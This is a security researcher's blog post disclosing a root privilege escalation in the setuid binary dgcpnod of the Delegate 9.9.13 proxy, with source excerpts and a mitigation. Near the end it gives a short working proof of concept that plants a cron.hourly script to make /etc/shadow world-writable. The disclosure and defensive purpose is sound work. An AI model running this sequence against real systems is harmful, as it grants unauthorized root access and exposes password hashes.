Akamai Diversity

The Akamai Blog

Delegate v9.9.13 setuid Binary Vulnerability

By Larry W. Cashdollar, Akamai SIRT

A few weeks ago I noticed a tweet from someone I have been following off and on for a few weeks. The tweet highlighted an exposed administration panel in a software product called Delegate. The Delegate software is described as, "a multi-purpose application-level gateway, or a proxy server which runs on multiple platforms (Unix, Windows and MacOS X)". What this software does is allow network connections to be relayed or proxied through it.

The recent vulnerability I discovered in Delegate 9.9.13 abuses a binary that is normally setuid root during installation when built from source. The action of setting a binary on a UNIX system setuid root allows any local user on the system to execute that binary as the root or administrative user.

In the most recent version distribution, the setuid install script doesn't execute because the author missed a ./ when specifying the script location. The instructions on the site invite the administrator to run the setuid binary install script if they don't want to require sudo or root access to launch the software. These binaries being setuid root allow a normal user to launch the application themselves and Delegate can use those binaries to do its root user required privileged operations.

Unix and linux distributions have revoked the setuid bit from many binaries as you need to be very very careful about what operations that binary is able to perform. I remember Linux distributions auditing setuid permissions and myself building scripts to harden Solaris and Linux systems by removing setuid bits from most binaries. You have to think about, can it read files? Can it write files? Does the source code copy large buffers into smaller ones without checking the destination size? For example using dangerous functions like strcpy() that don't check destination buffer length.

In the case of the Delegate software, one of the binaries I chose to pick on allows an ordinary user to call mknod(). mknod() is a C function that can create files by specifying a path, file mode, and device.

From the man page:

The system call mknod() creates a filesystem node (file, device special
file, or named pipe) named pathname, with attributes specified by mode
and dev.

The newly created node will be owned by the effective user ID of the
process. If the directory containing the node has the set-group-ID bit
set, or if the filesystem is mounted with BSD group semantics, the new
node will inherit the group ownership from its parent directory; other‐
wise it will be owned by the effective group ID of the process.

If pathname already exists, or is a symbolic link, this call fails
with an EEXIST error.

The binary I'm going to abuse is dgcpnod, which would allow Delegate to create files anywhere on the local server. I'm not exactly sure for what purpose the software developer needed this functionality but nonetheless it exists. The source code shows us that it will create a file in an arbitrary path using the ownership and permissions of the specified source file:

35         from = av[1];

36         to = av[2];

stat() the source file to collect its file mode and device ID.

37         if( stat(from,&st) != 0 ){

38                 perror(from);

39                 exit(-1);

40         }

create a file with permissions and file type.

41         rcode = mknod(to,st.st_mode,st.st_rdev);

42         fprintf(stderr,"####   mknod(%s,%x,%x)\n",to,st.st_mode,ll2i(st.st_rdev));

43         if( rcode != 0 ){

44                 perror(to);

45                 exit(-1);

46         }

change file mode and ownership to that of our source file.

47         chmod(to,st.st_mode);

48         IGNRETZ chown(to,st.st_uid,st.st_gid);

So we can create an empty file anywhere on the system with the permissions and ownership
of a file we own. OK, so how do we to get root? Simple: cron, a utility on most Unix systems that runs commands at specified times, Initially this only consisted of a single file called /etc/crontab and it could be edited by root or crons could be set up by a user by running crontab -e.

These days, modern Unix systems have broken this down into specific run directories based on execution times. This is handled by a script called run-parts which are executed by cron. For example /etc/cron.daily/ run-parts executes all the scripts under that directory once a day. Files have specific requirements, they must be executable, and the file names must not contain any non alphanumeric characters like _- or period; however, it doesn't mind if those files are not owned by root.

In order to abuse this binary and get ourselves a root shell we need to create a file with a malicious payload under /etc/cron.hourly/ that conforms to the requirements set by run parts.

A simple proof of concept exploit would be the following:

$ touch /tmp/rootme

$ chmod 755 /tmp/rootme

$ ./dgcpnod /tmp/rootme /etc/cron.hourly/rootme

$ echo '#!/bin/bash' > /etc/cron.hourly/rootme

$ echo 'chmod 666 /etc/shadow' >> /etc/cron.hourly/rootme

And now wait one hour, then modify roots password hash entry in /etc/shadow.

To mitigate the vulnerability I discussed above I would recommend at a minimum removing the setuid bit from dgcpnod if it is set.

  1. chmod -s dgcpnod

In all honesty, if you must use a proxy server I would look at squid proxy or mod_proxy for apache. The Delegate proxy software doesn't appear to have been updated in over a year and emails to the software maintainer in regards to this vulnerability have gone unanswered.

I suggest using software that is actively maintained by its authors.